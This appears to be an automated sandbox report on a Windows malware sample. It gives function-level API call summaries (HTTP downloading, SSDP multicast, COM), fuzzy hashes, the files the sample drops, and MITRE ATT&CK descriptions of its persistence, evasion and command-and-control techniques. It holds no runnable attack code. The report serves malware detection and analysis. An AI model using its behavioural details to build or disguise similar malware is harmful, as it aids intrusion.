Instruction Fuzzy Hash: 90014B712483046EE7209B96DC88F9B77A8EBC8711F408429F608DA2D0D7B5A9459B7A

Function 004017A0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,0040186C,?,?), ref: 004017B0
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004017C0
LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 004017CD
LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 00401808

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CriticalSection$Leave$EnterExchangeInterlocked
String ID:
API String ID: 2223660684-0
Opcode ID: 7e6606f5c14d1b9ede2abea3a5762152510b51c5bdf13f408023d0105cc90a62
Instruction ID: 0184f799374b3cbd514a588550e5351e3808897b1395f0a2de410330185c2ead
Opcode Fuzzy Hash: 7e6606f5c14d1b9ede2abea3a5762152510b51c5bdf13f408023d0105cc90a62
Instruction Fuzzy Hash: DF01F7352423009FC3209F26EC44ADB77E8AF49711F04443EE80697650EB34E545DB28

Function 00406FE0 Relevance: 6.0, APIs: 4, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,00407A2A), ref: 00406FE8
SysAllocString.OLEAUT32(00416268), ref: 00406FF3
CoUninitialize.OLE32 ref: 00407018

Part of subcall function 00407030: SysFreeString.OLEAUT32(00000000), ref: 00407248

SysFreeString.OLEAUT32(00000000), ref: 00407012

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: String$Free$AllocInitializeUninitialize
String ID:
API String ID: 459949847-0
Opcode ID: 8c6e8e85228af4463c2c4705a75977d25c0b83143a75c32acd5627430c5b3515
Instruction ID: 74c6c169e6652ce6f6b7715e91ddbb7e77275cafe0f94b55a583b47f3cb3299b
Opcode Fuzzy Hash: 8c6e8e85228af4463c2c4705a75977d25c0b83143a75c32acd5627430c5b3515
Instruction Fuzzy Hash: 13E01275D44208FBD704AFA0DD0EB9D77789B05341F1081A5F905922A0DAF95E80DB56

Function 00407030 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238COMMON

Download Yara Rule

APIs

Part of subcall function 004072C0: CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 004072E0

SysFreeString.OLEAUT32(00000000), ref: 00407248

Strings

Microsoft Corporation, xrefs: 004071B6

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CreateFreeInstanceString
String ID: Microsoft Corporation
API String ID: 586785272-3838278685
Opcode ID: 2f3cc9baeef0c7a1245b843303fd4ce0e44c974243be678b414a87c4b8a79f3c
Instruction ID: 457fc6c08a50d419230b37d5b6ce52bdab008108e04107557a49afcd29d8ec7c
Opcode Fuzzy Hash: 2f3cc9baeef0c7a1245b843303fd4ce0e44c974243be678b414a87c4b8a79f3c
Instruction Fuzzy Hash: 4491FC75E0410ADFCB04DB94D890AAFB7B5BF48304F2081A9E515B73E4D734AE82CB66

Function 0040D980 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 0040DBC0: memset.NTDLL ref: 0040DBE8
Part of subcall function 0040DBC0: InternetCrackUrlA.WININET(0040D699,00000000,10000000,0000003C), ref: 0040DC38
Part of subcall function 0040DBC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040DC48
Part of subcall function 0040DBC0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040DC81
Part of subcall function 0040DBC0: HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040DCB7
Part of subcall function 0040DBC0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040DCDF
Part of subcall function 0040DBC0: InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040DD28
Part of subcall function 0040DBC0: InternetCloseHandle.WININET(00000000), ref: 0040DDB7

Part of subcall function 0040DAB0: SysAllocString.OLEAUT32(00000000), ref: 0040DADE
Part of subcall function 0040DAB0: CoCreateInstance.OLE32(00412408,00000000,00004401,004123F8,00000000), ref: 0040DB06
Part of subcall function 0040DAB0: SysFreeString.OLEAUT32(00000000), ref: 0040DBA1

SysFreeString.OLEAUT32(00000000), ref: 0040DA5B
SysFreeString.OLEAUT32(00000000), ref: 0040DA65

Strings

%S%S, xrefs: 0040DA46

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Internet$String$Free$HttpOpenRequest$AllocCloseConnectCrackCreateFileHandleInstanceReadSendmemset
String ID: %S%S
API String ID: 1017111014-3267608656
Opcode ID: 2a44cf61d891e8738e9fac40afdb9ff2254c365f5810798eb153ce2e68fa7b5b
Instruction ID: beec9ad9f3848cf7af9d47610756df11a49d132dd1bd9a4578eda8885410465d
Opcode Fuzzy Hash: 2a44cf61d891e8738e9fac40afdb9ff2254c365f5810798eb153ce2e68fa7b5b
Instruction Fuzzy Hash: 4941E6B5E002099FCB04DBE4C885AEFB7B9BF48304F148569E505B7391D738AA85CFA5

Function 0040D640 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,?,00407A25), ref: 0040D64A

Part of subcall function 0040D710: socket.WS2_32(00000002,00000002,00000011), ref: 0040D72A
Part of subcall function 0040D710: htons.WS2_32(0000076C), ref: 0040D760
Part of subcall function 0040D710: inet_addr.WS2_32(239.255.255.250), ref: 0040D76F
Part of subcall function 0040D710: setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040D78D
Part of subcall function 0040D710: bind.WS2_32(000000FF,?,00000010), ref: 0040D7C3
Part of subcall function 0040D710: lstrlenA.KERNEL32(00411760,00000000,?,00000010), ref: 0040D7DC
Part of subcall function 0040D710: sendto.WS2_32(000000FF,00411760,00000000), ref: 0040D7EB
Part of subcall function 0040D710: ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040D805

Part of subcall function 0040D980: SysFreeString.OLEAUT32(00000000), ref: 0040DA5B
Part of subcall function 0040D980: SysFreeString.OLEAUT32(00000000), ref: 0040DA65

Strings

UDP, xrefs: 0040D6D8
TCP, xrefs: 0040D6BB

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: FreeString$Initializebindhtonsinet_addrioctlsocketlstrlensendtosetsockoptsocket
String ID: TCP$UDP
API String ID: 1519345861-1097902612
Opcode ID: e7e0460ef37b7f5a634b859c329effc3c57a24fdb8b35e9f857aa09b9315b4ce
Instruction ID: b9d850b43d5b9198a526a111fa4c70c7537d99c61ef063864e94ee7d89292dcb
Opcode Fuzzy Hash: e7e0460ef37b7f5a634b859c329effc3c57a24fdb8b35e9f857aa09b9315b4ce
Instruction Fuzzy Hash: A91181B4D01208EBDB00EBD4D945FEE7374AB44308F1089BAE505772C2D7799E58CB9A

Function 0040D250 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000), ref: 0040D290
CloseHandle.KERNEL32(?), ref: 0040D2A9

Strings

.Mw, xrefs: 0040D2A9

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CloseHandleObjectSingleWait
String ID: .Mw
API String ID: 528846559-2453323595
Opcode ID: e15632ae9c74927274e801b832af1c2d3c046c8cbd4ac2304eb1b22343a8a1a8
Instruction ID: d1fe1851c25795fdacbee2e877de448503af208f5fff4c31293181607202da8f
Opcode Fuzzy Hash: e15632ae9c74927274e801b832af1c2d3c046c8cbd4ac2304eb1b22343a8a1a8
Instruction Fuzzy Hash: 3B11C574A04208EFCB04CF84D580E69B7B6FB89354F2081AAEC05AB385C735EE52DB95

Function 00405EB0 Relevance: 5.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00415E30,?,?,?), ref: 00405EBF
memcpy.NTDLL(00000000,00000000,00000100), ref: 00405EFE
memcpy.NTDLL(00000000,00000000,00000100), ref: 00405F73
LeaveCriticalSection.KERNEL32(00415E30), ref: 00405F90

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CriticalSectionmemcpy$EnterLeave
String ID:
API String ID: 469056452-0
Opcode ID: 11a0381e7cc2a19f3e704b5167a0aa4c73886e0f3014e3589bcc626491d58d19
Instruction ID: 4abcbf5e8f17672ba879e37304839ab4c0f114d9c1813139277d8bca2654c775
Opcode Fuzzy Hash: 11a0381e7cc2a19f3e704b5167a0aa4c73886e0f3014e3589bcc626491d58d19
Instruction Fuzzy Hash: 71217C35D04609EBCB04DF94D985BDEBBB1EB48304F1481AAE80567281D37CAA95CF9A

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report LM94OE0VNK.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\240016073.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\gonup[1]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ONMZACOW\1[1]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\newtpp[1].exe

C:\Users\user\AppData\Local\Temp\2374323789.exe

C:\Users\user\AppData\Local\Temp\240016073.exe

C:\Users\user\AppData\Local\Temp\2693731851.exe

C:\Users\user\tbtcmds.dat

C:\Users\user\tbtnds.dat

C:\Windows\sysnldcvmr.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Windows Analysis Report
LM94OE0VNK.exe

Function 009C1120 Relevance: 57.9, APIs: 27, Strings: 6, Instructions: 186
filenetworksleepCOMMON

Function 009C1000 Relevance: 14.0, APIs: 5, Strings: 3, Instructions: 37
fileCOMMON

Function 009C1380 Relevance: 14.0, APIs: 5, Strings: 3, Instructions: 35
networksleepCOMMON

Function 009C1080 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 52
sleepprocessCOMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre